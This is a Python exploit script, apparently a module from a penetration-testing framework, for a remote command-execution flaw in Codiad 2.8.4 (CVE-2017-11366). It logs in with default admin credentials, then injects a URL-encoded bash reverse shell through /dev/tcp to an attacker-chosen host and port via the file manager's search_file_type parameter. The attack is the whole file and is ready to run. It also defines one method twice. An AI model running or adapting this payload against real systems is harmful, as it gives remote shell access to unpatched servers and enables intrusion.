#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import json

try:
    from core.log import Log
except Exception as e:
    import sys
    sys.path.append("../../core/log")
    from Log import Log

class Exploit:
    config = {
        "remote_host": {"default": "127.0.0.1", "necessity":True},
        "remote_port": {"default": 80, "necessity":True},
        "local_host": {"default": "8.8.8.8", "necessity":True},
        "local_port": {"default": 8888, "necessity":True},
        "admin_user": {"default": "admin", "necessity":True},
        "admin_pwd": {"default": "admin", "necessity":True},
    }

    session = requests.Session()

    def __init__(self):
        pass

    def login(self):
        url = "http://%s:%d/components/user/controller.php?action=authenticate" % (self.get_config("remote_host"), int(self.get_config("remote_port")))
        data = {
            "username":self.get_config("admin_user"),
            "password":self.get_config("admin_pwd"),
            "theme":"default",
            "language":"en"
        }
        response = self.session.post(url, data=data)
        content = response.content
        print("[+] Login Content : %s" % (content))
        if 'status":"success"' in content:
            return True
        else:
            return False

    def get_write_able_path(self):
        url = "http://%s:%d/components/user/controller.php?action=get_current" % (self.get_config("remote_host"), self.get_config("remote_port"))
        response = self.session.get(url)
        content = response.content
        print(content)
        print("[+] Path Content : %s" % (content))
        json_obj = json.loads(content)
        if json_obj['status'] == "success":
            return json_obj['data']['path']
        else:
            return False

    def get_write_able_path(self):
        url = "http://%s:%d/components/project/controller.php?action=get_current" % (self.get_config("remote_host"), self.get_config("remote_port"))
        response = self.session.get(url)
        content = response.content
        print("[+] Path Content : %s" % (content))
        json_obj = json.loads(content)
        if json_obj['status'] == "success":
            return json_obj['data']['path']
        else:
            return False

    def exploit(self):
        remote_host = self.get_config("remote_host")
        remote_port = self.get_config("remote_port")

        Log.Log.info("Logining...")
        if self.login():
            Log.Log.success("Login successfully!")
        else:
            Log.Log.error("Login failed!")
            return False

        Log.Log.info("Getting writable path...")
        path = self.get_write_able_path()
        if path == False:
            Log.Log.error("Get current path error!")
            return False
        Log.Log.info("Writable Path: %s" % (path))

        local_host = self.get_config("local_host")
        local_port = int(self.get_config("local_port"))
        Log.Log.info("Getting reverse shell at %s:%d" % (local_host, local_port))

        url = "http://%s:%d/components/filemanager/controller.php?action=search&path=%s" % (remote_host, remote_port, path)
        payload = '''SniperOJ%22%0A%2Fbin%2Fbash+-c+'sh+-i+%3E%26%2Fdev%2Ftcp%2F'''+local_host+'''%2F'''+str(local_port)+'''+0%3E%261'%0Agrep+%22SniperOJ'''
        data = "search_string=Hacker&search_file_type=" + payload
        headers = {"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"}
        try:
            response = self.session.post(url, data=data, headers=headers, timeout=3)
            content = response.content
            print(content)
            if content == '''{"status":"error","message":"No Results Returned"}''':
                Log.Log.error("If your see this message immediately, three reasons:")
                Log.Log.error("1. you just haved exit the reverse shell.")
                Log.Log.error("2. the target server cannot access your vps server")
                Log.Log.error("3. you havn't start listen a port on your vps server (%s:%d), so connection failed." % (self.get_config("local_host"), self.get_config("local_port")))
        except Exception as e:
            Log.Log.success(str(e))
            Log.Log.success("Please check your reverse shell at %s:%d" % (self.get_config("local_host"), self.get_config("local_port")))

    def show_options(self):
        Log.Log.warning("Options\t\tNecessity\t\tDefault")
        Log.Log.warning("-------\t\t---------\t\t-------")
        for key in sorted(self.config.keys()):
            Log.Log.warning("%s\t\t%s\t\t\t%s" % (key, self.config[key]["necessity"], self.get_config(key)))

    def set_config(self, key, value):
        if key in self.config.keys():
            self.config[key]["default"] = value
        else:
            Log.Log.error("No such option!")

    def get_config(self, key):
        return self.config[key]["default"]

    def show_info(self):
        Log.Log.info("Name: Codiad(2.8.4) Remote Command Execute (CVE-2017-11366)")
        Log.Log.info("Effected Version: <=2.8.4")
        Log.Log.info("Author: WangYihang")
        Log.Log.info("Email: wangyihanger@gmail.com")
        Log.Log.info("Refer:")
        Log.Log.info("\thttp://www.jianshu.com/p/41ac7ac2a7af")
        Log.Log.info("\thttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11366")

def main():
    exploit = Exploit()
    exploit.show_info()
    exploit.set_config("remote_host", "127.0.0.1")
    exploit.set_config("local_host", "127.0.0.1")
    exploit.set_config("local_port", 5555)
    exploit.show_options()
    exploit.exploit()

if __name__ == "__main__":
    main()
